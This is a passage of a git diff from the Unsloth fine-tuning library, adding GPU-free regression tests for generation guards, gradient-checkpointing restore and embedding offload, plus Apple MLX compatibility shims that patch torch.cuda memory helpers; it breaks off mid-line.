diff --git a/tests/studio/playwright_extra_ui.py b/tests/studio/playwright_extra_ui.py index 304de7a9af..209a8a06f1 100644 --- a/tests/studio/playwright_extra_ui.py +++ b/tests/studio/playwright_extra_ui.py @@ -256,7 +256,7 @@ with sync_playwright() as p: composer = page.locator('textarea[aria-label="Message input"]') composer.wait_for(state = "visible", timeout = 60_000) - # Detect chat-only mode (/api/health.chat_only): in chat-only mode /studio + /export redirect to /chat. + # Detect chat-only mode (/api/health.chat_only): /studio redirects to /chat while /export stays reachable and self-gated. health_resp = evaluate_fetch( page, f"{BASE}/api/health", @@ -404,15 +404,19 @@ with sync_playwright() as p: # ───────────────────────────────────────────────────── # 3. Export route. # ───────────────────────────────────────────────────── - step(f"Export route ({'chat-only redirect' if chat_only else 'form fields'})") + step(f"Export route ({'chat-only self-gated' if chat_only else 'form fields'})") page.goto(f"{BASE}/export") page.wait_for_timeout(1500) shoot("07-export") if chat_only: - if "/export" in page.url: - soft_fail(f"chat-only mode should redirect /export -> /chat; url={page.url}") + if "/export" not in page.url: + soft_fail(f"chat-only mode should keep /export reachable; url={page.url}") else: - info(f"OK chat-only redirected /export -> {page.url}") + unavailable = page.get_by_text(re.compile(r"Export unavailable", re.I)).first + if unavailable.count() == 0: + soft_fail("chat-only /export did not show the export unavailable gate") + else: + info("OK chat-only /export rendered the unavailable gate") else: # Non-chat-only: verify the export-cta button + HF token field. cta = page.locator('[data-tour="export-cta"]').first diff --git a/tests/studio/run_real_mlx_smoke.py b/tests/studio/run_real_mlx_smoke.py index 0843a2b447..275fe7ac57 100644 --- a/tests/studio/run_real_mlx_smoke.py +++ b/tests/studio/run_real_mlx_smoke.py @@ -403,10 +403,14 @@ def cmd_train(args) -> int: metrics["gguf_dir"] = str(gguf_dir) with Phase("save_gguf", metrics): try: + # q8_0 (the exporter default), not bf16: llama.cpp has optimized q8_0 + # CPU kernels, whereas bf16 CPU decode is unusably slow on the runner + # and made the fresh-process llama-cli reload below time out. q8_0 is + # also what users deploy by default. model.save_pretrained_gguf( str(gguf_dir), tokenizer = tokenizer, - quantization_method = "not_quantized", + quantization_method = "fast_quantized", ) gguf_files = sorted(gguf_dir.glob("*.gguf")) if not gguf_files: @@ -565,30 +569,56 @@ def _reload_gguf(save_dir: Path, metrics: dict) -> int: raise SystemExit(f"no .gguf files in {save_dir}") gguf_path = gguf_files[0] + # Save/reload-integrity smoke (assert below only needs a few chars). The GGUF is + # exported q8_0 (see save_gguf) because llama.cpp bf16 CPU decode is unusably slow + # on the runner. Run CPU-only (-ngl 0), cap the context (-c 256, the model + # advertises 32768), and keep generation short; all env-tunable. + n_predict = os.environ.get("UNSLOTH_GGUF_RELOAD_N", "8") + n_threads = os.environ.get("UNSLOTH_GGUF_RELOAD_THREADS", str(os.cpu_count() or 4)) + n_ctx = os.environ.get("UNSLOTH_GGUF_RELOAD_CTX", "256") + n_gpu_layers = os.environ.get("UNSLOTH_GGUF_RELOAD_NGL", "0") + reload_timeout = int(os.environ.get("UNSLOTH_GGUF_RELOAD_TIMEOUT", "420")) + argv = [ + str(llama_cli), + "-m", + str(gguf_path), + "-p", + PROMPT, + "-n", + n_predict, + "-t", + n_threads, + "-c", + n_ctx, + "-ngl", + n_gpu_layers, + "--temp", + "0", + "--seed", + str(SEED), + "--no-warmup", + ] with Phase("reload_gguf", metrics): - proc = subprocess.run( - [ - str(llama_cli), - "-m", - str(gguf_path), - "-p", - PROMPT, - "-n", - "24", - "--temp", - "0", - "--seed", - str(SEED), - "-no-cnv", - "--no-warmup", - ], - capture_output = True, - text = True, - timeout = 300, - # Hand llama-cli an immediate EOF; without it -no-cnv can still leave the - # process blocked reading stdin, which times out instead of generating. - stdin = subprocess.DEVNULL, - ) + try: + proc = subprocess.run( + argv, + capture_output = True, + text = True, + timeout = reload_timeout, + # Newer llama.cpp keeps llama-cli in chat mode; exit after one reply. + input = "/exit\n", + ) + except subprocess.TimeoutExpired as exc: + + def _decode(stream) -> str: + if isinstance(stream, bytes): + return stream.decode("utf-8", errors = "replace") + return stream or "" + + print(f" [reload:gguf] TIMEOUT running: {' '.join(argv)}", flush = True) + print(f" [reload:gguf] TIMEOUT stdout:\n{_decode(exc.stdout)[:1000]}", flush = True) + print(f" [reload:gguf] TIMEOUT stderr:\n{_decode(exc.stderr)[:1000]}", flush = True) + raise metrics["llama_cli_returncode"] = proc.returncode metrics["generation"] = (proc.stdout or "")[:1500] diff --git a/tests/test_fast_generate_slow_guard.py b/tests/test_fast_generate_slow_guard.py new file mode 100644 index 0000000000..6bfc561e54 --- /dev/null +++ b/tests/test_fast_generate_slow_guard.py @@ -0,0 +1,95 @@ +"""GPU-free test for the fast_generate slow-mode guard in _utils.py. + +When fast_inference=False, model.fast_generate falls back to HuggingFace generate, so vLLM-only +inputs must be rejected with a clear message instead of leaking into transformers.generate. Covers +a string prompt, a vLLM {"prompt":..., "multi_modal_data":...} dict, SamplingParams passed both +positionally and as a kwarg, and a normal tokenized call passing through. +""" + +import ast, functools, os + +HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +UTILS = os.path.join(HERE, "unsloth", "models", "_utils.py") + + +def _load_factory(): + src = open(UTILS).read() + for node in ast.parse(src).body: + if isinstance(node, ast.FunctionDef) and node.name == "make_fast_generate_wrapper": + ns = {"functools": functools} + exec(ast.get_source_segment(src, node), ns) + return ns["make_fast_generate_wrapper"] + raise AssertionError("make_fast_generate_wrapper not found in _utils.py") + + +make_fast_generate_wrapper = _load_factory() + + +class _SamplingParams: + pass + + +_SamplingParams.__name__ = "SamplingParams" # match by class name, no vllm import needed + + +def _wrapper(): + state = {} + + def original_generate(*a, **k): + state["hit"] = True + return "ok" + + return make_fast_generate_wrapper(original_generate), state + + +def _rejects(fn, needle): + try: + fn() + except ValueError as e: + assert needle in str(e), str(e) + return True + raise AssertionError("expected ValueError") + + +def test_fast_generate_slow_guard(): + w, _ = _wrapper() + # reject every vLLM-only shape + assert _rejects(lambda: w("hello"), "fast_inference=True") + assert _rejects( + lambda: w({"prompt": "hi", "multi_modal_data": {"image": None}}), "fast_inference=True" + ) + assert _rejects(lambda: w(["a", "b"]), "fast_inference=True") + assert _rejects(lambda: w([{"prompt": "hi"}]), "fast_inference=True") # list of prompt dicts + assert _rejects( + lambda: w({"prompt_token_ids": [1, 2, 3]}), "fast_inference=True" + ) # vLLM TokensPrompt + assert _rejects(lambda: w(prompts = "hello"), "fast_inference=True") # vLLM `prompts` kwarg + assert _rejects( + lambda: w(prompts = [{"prompt": "hi"}]), "fast_inference=True" + ) # vLLM `prompts` kwarg list + assert _rejects( + lambda: w(prompt_token_ids = [1, 2, 3]), "fast_inference=True" + ) # vLLM legacy tokenized kwarg + assert _rejects( + lambda: w(prompts = [1, 2, 3]), "fast_inference=True" + ) # token-id list via vLLM-only `prompts` kwarg + assert _rejects( + lambda: w(prompts = None), "fast_inference=True" + ) # vLLM-only kwarg present even if None + assert _rejects(lambda: w({"prompt": "hi"}, _SamplingParams()), "sampling_params") + assert _rejects( + lambda: w({"prompt": "hi"}, [_SamplingParams()]), "sampling_params" + ) # list of SamplingParams + assert _rejects(lambda: w(sampling_params = object()), "sampling_params") + + # pass normal tokenized calls with no false positives + w, state = _wrapper() + assert w(input_ids = "TOKENS", max_new_tokens = 8) == "ok" and state.get("hit") + assert w([1, 2, 3], max_new_tokens = 8) == "ok" # positional token ids + assert w([], max_new_tokens = 8) == "ok" # empty positional + print("13 reject + 3 pass fast_generate slow-mode guard cases passed") + + +if __name__ == "__main__": + test_fast_generate_slow_guard() + print("OK: fast_generate rejects vLLM-style inputs when fast_inference=False") diff --git a/tests/test_generate_kwarg_gate.py b/tests/test_generate_kwarg_gate.py new file mode 100644 index 0000000000..6d1379d3a9 --- /dev/null +++ b/tests/test_generate_kwarg_gate.py @@ -0,0 +1,137 @@ +"""GPU-free test for the generate-kwarg gate in vision.py +(_unsloth_generate_accepts_kwarg), covering both logits_to_keep injection and mm_token_type_ids +stripping, AST-extracted so no unsloth/CUDA import is needed.""" + +import ast, inspect, os + +HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +VISION = os.path.join(HERE, "unsloth", "models", "vision.py") + + +def _load_helper(): + src = open(VISION).read() + mod = ast.parse(src) + for node in mod.body: + if isinstance(node, ast.FunctionDef) and node.name == "_unsloth_generate_accepts_kwarg": + ns = {"inspect": inspect} + exec(ast.get_source_segment(src, node), ns) + return ns["_unsloth_generate_accepts_kwarg"] + raise AssertionError("_unsloth_generate_accepts_kwarg not found in vision.py") + + +accepts = _load_helper() + + +class PrepHasKwargs_ForwardHasKey: + # **kwargs on prepare unions forward params; key in forward -> ACCEPTED. + def prepare_inputs_for_generation(self, input_ids, **kwargs): ... + def forward( + self, + input_ids, + logits_to_keep = 0, + **kwargs, + ): ... + + +class PrepNoKwargs_ForwardHasKey: + # no **kwargs -> forward not unioned; key only in forward -> REJECTED (gpt-oss shape). + def prepare_inputs_for_generation( + self, + input_ids, + attention_mask = None, + ): ... + def forward( + self, + input_ids, + logits_to_keep = 0, + ): ... + + +class PrepHasKeyDirectly: + # key directly on prepare -> ACCEPTED. + def prepare_inputs_for_generation( + self, + input_ids, + logits_to_keep = 0, + ): ... + def forward(self, input_ids): ... + + +class NoPrepare: + # no prepare -> empty args, no union -> REJECTED. + def forward( + self, + input_ids, + logits_to_keep = 0, + **kwargs, + ): ... + + +class VisionRejectsMM: + # Qwen3-VL shape: neither prepare nor forward names mm_token_type_ids -> REJECTED (stripped). + def prepare_inputs_for_generation( + self, + input_ids, + attention_mask = None, + ): ... + def forward( + self, + input_ids, + pixel_values = None, + ): ... + + +class VisionAcceptsMM: + # forward names mm_token_type_ids and prepare unions it via **kwargs -> ACCEPTED (kept). + def prepare_inputs_for_generation(self, input_ids, **kwargs): ... + def forward( + self, + input_ids, + mm_token_type_ids = None, + **kwargs, + ): ... + + +# (model, key, expected) per gate case. +CASES = [ + ( + "prep(**kwargs)+forward(key) -> accept", + PrepHasKwargs_ForwardHasKey(), + "logits_to_keep", + True, + ), + ( + "prep(no kwargs)+forward(key) -> reject", + PrepNoKwargs_ForwardHasKey(), + "logits_to_keep", + False, + ), + ("prep(key) direct -> accept", PrepHasKeyDirectly(), "logits_to_keep", True), + ("no prepare_inputs_for_gen -> reject", NoPrepare(), "logits_to_keep", False), + ( + "num_logits_to_keep variant -> reject", + PrepNoKwargs_ForwardHasKey(), + "num_logits_to_keep", + False, + ), + ( + "mm_token_type_ids not accepted -> reject (strip)", + VisionRejectsMM(), + "mm_token_type_ids", + False, + ), + ("mm_token_type_ids accepted -> keep", VisionAcceptsMM(), "mm_token_type_ids", True), +] + + +def test_generate_kwarg_gate(): + for name, model, key, expected in CASES: + got = accepts(model, key) + assert got is expected, f"{name}: got {got}, expected {expected}" + + +if __name__ == "__main__": + test_generate_kwarg_gate() + for name, _, _, _ in CASES: + print(f" [PASS] {name}") + print("OK: generate-kwarg gate behaves like transformers _validate_model_kwargs") diff --git a/tests/test_gradient_checkpointing_restore.py b/tests/test_gradient_checkpointing_restore.py new file mode 100644 index 0000000000..4f9f3faccc --- /dev/null +++ b/tests/test_gradient_checkpointing_restore.py @@ -0,0 +1,185 @@ +# Unsloth - 2x faster, 60% less VRAM LLM training and finetuning +# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved. +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Lesser General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Lesser General Public License for more details. + +"""Regression for #4735: a plain ``TrainingArguments`` silently disabling the +gradient-checkpointing (GC) mode the model was configured with at setup. + +Setup records the effective GC mode as ``_unsloth_gradient_checkpointing``; the +trainer restores *that* value, falling back to ``args.gradient_checkpointing`` +only when nothing was recorded. The restore lines live inside exec'd template +strings, which ``py_compile`` never sees, so these tests pull the real snippets +out of the source and execute them against fakes. GPU-free. +""" + +from __future__ import annotations + +import ast +import re +from pathlib import Path + +_ROOT = Path(__file__).resolve().parent.parent / "unsloth" / "models" +_RL = (_ROOT / "rl.py").read_text() +_RL_REPLACEMENTS = (_ROOT / "rl_replacements.py").read_text() + +# The single-line ternary form used at the trainer call sites: +# ._unsloth_gradient_checkpointing if hasattr(, '...') else getattr(, 'gradient_checkpointing', True) +_TERNARY = re.compile( + r"(?P[\w.]+)\._unsloth_gradient_checkpointing " + r"if hasattr\((?P=model), '_unsloth_gradient_checkpointing'\) " + r"else getattr\((?P[\w.]+), 'gradient_checkpointing', True\)" +) + +_MISSING = object() + + +class _Obj: + """Bare attribute bag; ``_unsloth_gradient_checkpointing`` present only when recorded.""" + + def __init__( + self, + recorded = _MISSING, + gradient_checkpointing = _MISSING, + ): + if recorded is not _MISSING: + self._unsloth_gradient_checkpointing = recorded + if gradient_checkpointing is not _MISSING: + self.gradient_checkpointing = gradient_checkpointing + + +class _Self: + def __init__( + self, + model = None, + args = None, + ): + if model is not None: + self.model = model + self.args = args + + +# (recorded on model, args.gradient_checkpointing, expected restored value) +# The point of the fix: a recorded mode wins over args, and a recorded ``None`` +# (a valid setup value) is restored verbatim rather than collapsing to the +# args fallback the way a ``None`` sentinel would. +_MATRIX = [ + ("unsloth", False, "unsloth"), # the #4735 case: args=False must NOT win + (True, False, True), + (False, True, False), # user turned GC off; args=True must NOT re-enable it + (None, True, None), # explicit None is restored, not treated as "unrecorded" + (_MISSING, True, True), # nothing recorded -> fall back to args + (_MISSING, False, False), +] + + +def _eval_ternary(expr, recorded, args_gc): + """Eval a restore expression that references either ``model``/``args`` or ``self.model``/``self.args``.""" + model = _Obj(recorded = recorded) + args = _Obj(gradient_checkpointing = args_gc) + self = _Self(model = model, args = args) + return eval( + expr, {"hasattr": hasattr, "getattr": getattr}, {"model": model, "args": args, "self": self} + ) + + +def test_ternary_restore_semantics(): + exprs = [m.group(0) for m in _TERNARY.finditer(_RL)] + exprs += [m.group(0) for m in _TERNARY.finditer(_RL_REPLACEMENTS)] + # Also guards against the lines being deleted/renamed (which reinstates the bug). + assert len(exprs) >= 3, f"expected the 3 trainer-call restore sites, found {len(exprs)}" + for expr in exprs: + for recorded, args_gc, expected in _MATRIX: + got = _eval_ternary(expr, recorded, args_gc) + assert got == expected and type(got) is type( + expected + ), f"{expr!r}: recorded={recorded!r} args={args_gc!r} -> {got!r}, expected {expected!r}" + + +def _extract_prepare_restore_block(): + """Pull the multi-line restore block out of ``prepare_for_training_mode``'s wrapper. + + It lives inside an exec'd template string, so grab it textually: from the + ``_model = getattr(self, 'model', None)`` line through the closing + ``else:``/``use_gc = ...`` pair. + """ + lines = _RL.splitlines() + start = next( + i for i, l in enumerate(lines) if l.strip() == "_model = getattr(self, 'model', None)" + ) + # End at the fallback assignment rather than a fixed line count, so inserting + # lines into the block can't silently truncate what gets exec'd. + end = next( + i + for i, l in enumerate(lines) + if i > start and "use_gc = getattr(self.args, 'gradient_checkpointing', True)" in l + ) + block = lines[start : end + 1] + # dedent to column 0 so it execs as a top-level block + indent = len(block[0]) - len(block[0].lstrip()) + return "\n".join(l[indent:] for l in block) + + +def test_prepare_for_training_mode_block_semantics(): + block = _extract_prepare_restore_block() + # Must be valid Python (it's never seen by py_compile in the outer file). + ast.parse(block) + + for recorded, args_gc, expected in _MATRIX: + model = _Obj(recorded = recorded) + args = _Obj(gradient_checkpointing = args_gc) + ns = {"self": _Self(model = model, args = args), "hasattr": hasattr, "getattr": getattr} + exec(block, {}, ns) + got = ns["use_gc"] + assert ( + got == expected and type(got) is type(expected) + ), f"prepare block: recorded={recorded!r} args={args_gc!r} -> {got!r}, expected {expected!r}" + + +def test_prepare_block_tolerates_missing_model(): + # gemini flagged the unguarded self.model access: the block reads self.model via + # getattr(self, 'model', None), so a trainer without a .model attribute must fall + # back to args rather than raising AttributeError. + block = _extract_prepare_restore_block() + args = _Obj(gradient_checkpointing = True) + self_no_model = _Self(model = None, args = args) # _Self leaves .model unset when model is None + assert not hasattr(self_no_model, "model") + ns = {"self": self_no_model, "hasattr": hasattr, "getattr": getattr} + exec(block, {}, ns) + assert ns["use_gc"] is True + + +def test_recording_sites_are_real_module_code(): + # The recording side (unlike the restore side) is real module code, not a template + # string. Assert it's present at the choke point (patch_peft_model, so loaded adapters + # are covered) and at the pre-wrapped pass-through, both of which bypass the old + # get_peft_model-only recording. + llama = (_ROOT / "llama.py").read_text() + tree = ast.parse(llama) + + def assigns_marker(node): + return any( + isinstance(n, ast.Assign) + and any( + isinstance(t, ast.Attribute) and t.attr == "_unsloth_gradient_checkpointing" + for t in n.targets + ) + for n in ast.walk(node) + ) + + fns = {n.name: n for n in ast.walk(tree) if isinstance(n, ast.FunctionDef)} + assert "patch_peft_model" in fns and assigns_marker( + fns["patch_peft_model"] + ), "patch_peft_model must record _unsloth_gradient_checkpointing so loaded adapters are covered" + # The pass-through branch lives in get_peft_model. + assert assigns_marker( + fns["get_peft_model"] + ), "get_peft_model pass-through must record _unsloth_gradient_checkpointing" diff --git a/tests/test_offload_embedding_hooks.py b/tests/test_offload_embedding_hooks.py new file mode 100644 index 0000000000..b8be603b2a --- /dev/null +++ b/tests/test_offload_embedding_hooks.py @@ -0,0 +1,129 @@ +"""Tests _install_offload_embedding_hooks in vision.py: the offloaded lookup must work and +its output must land on the decoder device, read live from the output embeddings (lm_head) +so it tracks model.to() moves. CUDA cases skip without a GPU.""" + +import ast, os +import torch +import torch.nn as nn + +HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +VISION = os.path.join(HERE, "unsloth", "models", "vision.py") + + +def _load_installer(): + src = open(VISION).read() + mod = ast.parse(src) + for node in mod.body: + if isinstance(node, ast.FunctionDef) and node.name == "_install_offload_embedding_hooks": + ns = {"torch": torch} + exec(ast.get_source_segment(src, node), ns) + return ns["_install_offload_embedding_hooks"] + raise AssertionError("_install_offload_embedding_hooks not found in vision.py") + + +install = _load_installer() +CPU = torch.device("cpu") + + +def _emb(): + return nn.Embedding(32, 8) + + +def _lm_head(device): + # Stand-in decoder reference (untied lm_head) whose weight device is the target. + return nn.Linear(8, 32, bias = False).to(device) + + +def test_install_and_idempotent(): + emb = _emb() + lm = _lm_head(CPU) + assert install(emb, lm, CPU) is True + assert emb._unsloth_offload_hooks_installed is True + n_pre = len(emb._forward_pre_hooks) + n_post = len(emb._forward_hooks) + assert install(emb, lm, CPU) is True + assert len(emb._forward_pre_hooks) == n_pre and len(emb._forward_hooks) == n_post + assert install(None, lm, CPU) is False + + +def test_cpu_noop_forward(): + # cpu weight + cpu decoder + cpu input -> output stays cpu. + emb = _emb() + install(emb, _lm_head(CPU), CPU) + out = emb(torch.randint(0, 32, (2, 5))) + assert out.shape == (2, 5, 8) + assert out.device.type == "cpu" + + +def test_cuda_input_roundtrip(): + if not torch.cuda.is_available(): + print("[SKIP] CUDA not available") + return + # CPU weight, CUDA decoder + input -> lookup on cpu, output back on cuda. + emb = _emb().to("cpu") + install(emb, _lm_head("cuda"), torch.device("cuda")) + out = emb(torch.randint(0, 32, (2, 5), device = "cuda")) + assert out.device.type == "cuda", out.device + + +def test_cpu_input_still_returns_to_decoder(): + if not torch.cuda.is_available(): + print("[SKIP] CUDA not available") + return + # P1: offload makes the input arrive on cpu; the output must still reach the cuda decoder. + emb = _emb().to("cpu") + install(emb, _lm_head("cuda"), torch.device("cuda")) + out = emb(torch.randint(0, 32, (2, 5), device = "cpu")) + assert out.device.type == "cuda", out.device + + +def test_live_decoder_over_stale_fallback(): + if not torch.cuda.is_available(): + print("[SKIP] CUDA not available") + return + # P2: fallback captured as cpu (model loaded on cpu), but the decoder later lives on cuda. + # The output must follow the live lm_head device, not the stale cpu fallback. + emb = _emb().to("cpu") + install(emb, _lm_head("cuda"), CPU) + out = emb(torch.randint(0, 32, (2, 5), device = "cuda")) + assert out.device.type == "cuda", out.device + + +def test_meta_lm_head_falls_back(): + # A disk-offloaded (meta) lm_head must not be used as the return device: moving hidden + # states to meta is unrecoverable, so fall back to the captured device. No GPU needed. + emb = _emb().to("cpu") + lm = _lm_head(CPU) + lm.weight = nn.Parameter(lm.weight.to("meta")) + install(emb, lm, CPU) + out = emb(torch.randint(0, 32, (2, 5))) + assert out.device.type == "cpu", out.device + + +def test_cuda_weight_pulled_back_to_gpu(): + if not torch.cuda.is_available(): + print("[SKIP] CUDA not available") + return + # bf16 weight later pulled back to gpu + cuda input -> no-op, stays on cuda. + emb = _emb().to("cuda") + install(emb, _lm_head("cuda"), torch.device("cuda")) + out = emb(torch.randint(0, 32, (2, 5), device = "cuda")) + assert out.device.type == "cuda", out.device + + +if __name__ == "__main__": + test_install_and_idempotent() + print("[PASS] install + idempotent") + test_cpu_noop_forward() + print("[PASS] cpu no-op forward") + test_cuda_input_roundtrip() + print("[PASS] cuda input roundtrip") + test_cpu_input_still_returns_to_decoder() + print("[PASS] cpu input still returns to cuda decoder (P1)") + test_live_decoder_over_stale_fallback() + print("[PASS] live decoder device beats stale fallback (P2)") + test_meta_lm_head_falls_back() + print("[PASS] meta lm_head falls back to captured device (P2)") + test_cuda_weight_pulled_back_to_gpu() + print("[PASS] cuda weight-on-gpu no-op") + print("OK: offloaded embedding output always lands on the live decoder device") diff --git a/tests/test_offload_tied_guard.py b/tests/test_offload_tied_guard.py new file mode 100644 index 0000000000..096fba116d --- /dev/null +++ b/tests/test_offload_tied_guard.py @@ -0,0 +1,62 @@ +"""Tests _embeddings_are_tied in vision.py: offload_embedding must detect a shared +embed_tokens/lm_head weight so the loader can refuse to offload tied embeddings +(offloading would strand the output projection on CPU). No GPU needed.""" + +import ast, os +import torch +import torch.nn as nn + +HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +VISION = os.path.join(HERE, "unsloth", "models", "vision.py") + + +def _load_fn(): + src = open(VISION).read() + mod = ast.parse(src) + for node in mod.body: + if isinstance(node, ast.FunctionDef) and node.name == "_embeddings_are_tied": + ns = {"torch": torch} + exec(ast.get_source_segment(src, node), ns) + return ns["_embeddings_are_tied"] + raise AssertionError("_embeddings_are_tied not found in vision.py") + + +tied = _load_fn() + + +def test_untied_separate_weights(): + emb = nn.Embedding(32, 8) + lm = nn.Linear(8, 32, bias = False) + assert tied(emb, lm) is False + + +def test_tied_shared_parameter(): + emb = nn.Embedding(32, 8) + lm = nn.Linear(8, 32, bias = False) + lm.weight = emb.weight # transformers-style weight tying + assert tied(emb, lm) is True + + +def test_tied_by_storage_even_if_distinct_parameter(): + emb = nn.Embedding(32, 8) + lm = nn.Linear(8, 32, bias = False) + lm.weight = nn.Parameter(emb.weight.detach()) # distinct Parameter, shared storage + assert tied(emb, lm) is True + + +def test_none_output_is_untied(): + emb = nn.Embedding(32, 8) + assert tied(emb, None) is False + assert tied(None, nn.Linear(8, 32)) is False + + +if __name__ == "__main__": + test_untied_separate_weights() + print("[PASS] untied separate weights -> False") + test_tied_shared_parameter() + print("[PASS] tied shared parameter -> True") + test_tied_by_storage_even_if_distinct_parameter() + print("[PASS] tied by storage -> True") + test_none_output_is_untied() + print("[PASS] missing lm_head -> untied (safe to offload)") + print("OK: tied embeddings are detected so offload_embedding can refuse them") diff --git a/unsloth/__init__.py b/unsloth/__init__.py index 8202195ca8..04cc600725 100644 --- a/unsloth/__init__.py +++ b/unsloth/__init__.py @@ -33,6 +33,27 @@ if platform.system() == "Windows": pass +class _UnslothDeviceStats: + """Portable device metadata used by backend memory-reporting helpers.""" + + def __init__( + self, + name, + total_memory = 0, + ): + """Store a display name and total memory in bytes.""" + self.name = name + self.total_memory = int(total_memory or 0) + self.major = 0 + self.minor = 0 + self.multi_processor_count = 0 + + +def _bytes_to_gb(value): + """Convert byte counts to GiB rounded""" + return round(float(value or 0) / 1024 / 1024 / 1024, 3) + + def _is_mlx_available(): # Transitional import barrier: keep non-Apple-Silicon imports from touching # unsloth_zoo until unsloth_zoo.mlx is import-safe on GPU hosts. Then this @@ -66,7 +87,12 @@ if _IS_MLX: # mlx.trainer / mlx.loader submodules. Surface a friendly install hint # instead of a raw ImportError on the submodule path. try: - from unsloth_zoo.mlx.trainer import MLXTrainer, MLXTrainingConfig + from unsloth_zoo.mlx.trainer import ( + MLXTrainer, + MLXTrainingConfig, + _is_vlm_model, + _normalize_mlx_optimizer_name, + ) from unsloth_zoo.mlx.loader import FastMLXModel except ImportError as _e: raise ImportError( @@ -75,6 +101,53 @@ if _IS_MLX: "`pip install -U unsloth-zoo` or rerun install.sh." ) from _e + import dataclasses as _dataclasses + import importlib.machinery as _machinery + import sys as _sys + import types as _types + import warnings as _warnings + + __version__ = unsloth_zoo.__version__ + DEVICE_TYPE = "mlx" + + def _is_mlx_cuda_device_target(device): + """Return True when a torch .to/.cuda target asks for CUDA on MLX.""" + if device is None: + return False + return str(device).lower().startswith("cuda") + + def _patch_mlx_batch_encoding_to_cuda(): + """Treat tokenizer_output.to("cuda") as a no-op on the MLX backend.""" + try: + from transformers.tokenization_utils_base import BatchEncoding + except Exception: + return + + original_to = getattr(BatchEncoding, "to", None) + if original_to is None or getattr(original_to, "_unsloth_mlx_cuda_noop", False): + return + + def batch_encoding_to( + self, + device = None, + *args, + **kwargs, + ): + target = kwargs.get("device", device) + if _is_mlx_cuda_device_target(target): + return self + # device given by keyword: don't also pass the positional None, or the + # original raises "multiple values for 'device'" (e.g. .to(device="cpu")). + if "device" in kwargs: + return original_to(self, *args, **kwargs) + return original_to(self, device, *args, **kwargs) + + batch_encoding_to._unsloth_mlx_cuda_noop = True + batch_encoding_to._unsloth_original_to = original_to + BatchEncoding.to = batch_encoding_to + + _patch_mlx_batch_encoding_to_cuda() + # Load raw_text helpers without executing dataprep/__init__.py, which # imports synthetic.py -> torch and would defeat the torch-free MLX path. from pathlib import Path as _Path @@ -89,9 +162,6 @@ if _IS_MLX: TextPreprocessor = _raw_text.TextPreprocessor del _raw_text, _raw_text_spec, _raw_text_path, _Path - __version__ = unsloth_zoo.__version__ - DEVICE_TYPE = "mlx" - class FastLanguageModel: @staticmethod def from_pretrained(*args, **kwargs): @@ -141,14 +211,1202 @@ if _IS_MLX: is_bf16_supported = is_bfloat16_supported + def get_gpu_memory_stats(): + """Return MLX device stats, peak memory, and total memory in GiB.""" + import mlx.core as mx + + info = mx.device_info() + total = info.get("memory_size") or info.get("max_recommended_working_set_size") or 0 + get_peak_memory = getattr(mx, "get_peak_memory", None) + if get_peak_memory is None and hasattr(mx, "metal"): + get_peak_memory = getattr(mx.metal, "get_peak_memory", None) + peak = get_peak_memory() if callable(get_peak_memory) else 0 + stats = _UnslothDeviceStats(info.get("device_name", "Apple GPU"), total) + max_memory = _bytes_to_gb(total) or 1.0 + return stats, _bytes_to_gb(peak), max_memory + + def clear_gpu_memory(): + """Clear MLX's cached GPU memory for compatibility cleanup helpers.""" + import mlx.core as mx + + clear_cache = getattr(mx, "clear_cache", None) + if clear_cache is None and hasattr(mx, "metal"): + clear_cache = getattr(mx.metal, "clear_cache", None) + if callable(clear_cache): + clear_cache() + + def _patch_mlx_torch_cuda_compat_api(): + """Expose CUDA-shaped torch helpers for compatibility callers on MLX.""" + try: + import torch + except Exception: + return + + cuda = getattr(torch, "cuda", None) + if cuda is not None and not getattr(cuda, "_unsloth_mlx_cuda_compat_api", False): + + def get_device_properties(device = None): + """Return MLX device stats through torch.cuda's compatibility API.""" + return get_gpu_memory_stats()[0] + + def get_device_name(device = None): + """Return the MLX device name through torch.cuda's compatibility API.""" + return get_device_properties(device).name + + def max_memory_reserved(device = None): + """Return MLX peak memory in bytes for torch.cuda compatibility API.""" + return int(get_gpu_memory_stats()[1] * 1024 * 1024 * 1024) + + def empty_cache(): + """Clear MLX cache through torch.cuda.empty_cache().""" + clear_gpu_memory() + + def _mlx_active_memory_bytes(): + """Current active MLX memory in bytes (not the peak high-water mark).""" + import mlx.core as mx + + get_active = getattr(mx, "get_active_memory", None) + if get_active is None and hasattr(mx, "metal"): + get_active = getattr(mx.metal, "get_active_memory", None) + return int(get_active()) if callable(get_active) else 0 + + def memory_current(device = None): + """Return CURRENT MLX memory in bytes. torch.cuda.memory_reserved / + memory_allocated report live usage, not the peak (that is max_*).""" + return _mlx_active_memory_bytes() + + def mem_get_info(device = None): + """Return (free, total) bytes for torch.cuda compatibility API. + Free uses CURRENT active memory, not the peak high-water mark, so + a capacity check stays accurate after a transient spike.""" + total = int(get_gpu_memory_stats()[2] * 1024 * 1024 * 1024) + return (max(total - _mlx_active_memory_bytes(), 0), total) + + def reset_peak_memory_stats(device = None): + """Reset MLX's peak-memory counter so a later max_memory_reserved / + max_memory_allocated scopes to the run, not earlier model-load peaks.""" + import mlx.core as mx + + reset = getattr(mx, "reset_peak_memory", None) + if reset is None and hasattr(mx, "metal"): + reset = getattr(mx.metal, "reset_peak_memory", None) + if callable(reset): + reset() + + def synchronize(device = None): + """Wait for queued MLX work when torch.cuda.synchronize() is called.""" + import mlx.core as mx + + sync = getattr(mx, "synchronize", None) + if callable(sync): + sync() + + cuda.get_device_properties = get_device_properties + cuda.get_device_name = get_device_name + cuda.max_memory_reserved = max_memory_reserved + cuda.max_memory_allocated = max_memory_reserved + cuda.memory_reserved = memory_current + cuda.memory_allocated = memory_current + cuda.empty_cache = empty_cache + cuda.mem_get_info = mem_get_info + cuda.reset_peak_memory_stats = reset_peak_memory_stats + cuda.synchronize = synchronize + cuda.current_device = lambda: 0 + cuda.device_count = lambda: 1 + cuda.set_device = lambda device = None: None + cuda.get_device_capability = lambda device = None: (0, 0) + cuda.is_bf16_supported = lambda *args, **kwargs: is_bfloat16_supported() + cuda._unsloth_mlx_cuda_compat_api = True + + tensor_to = 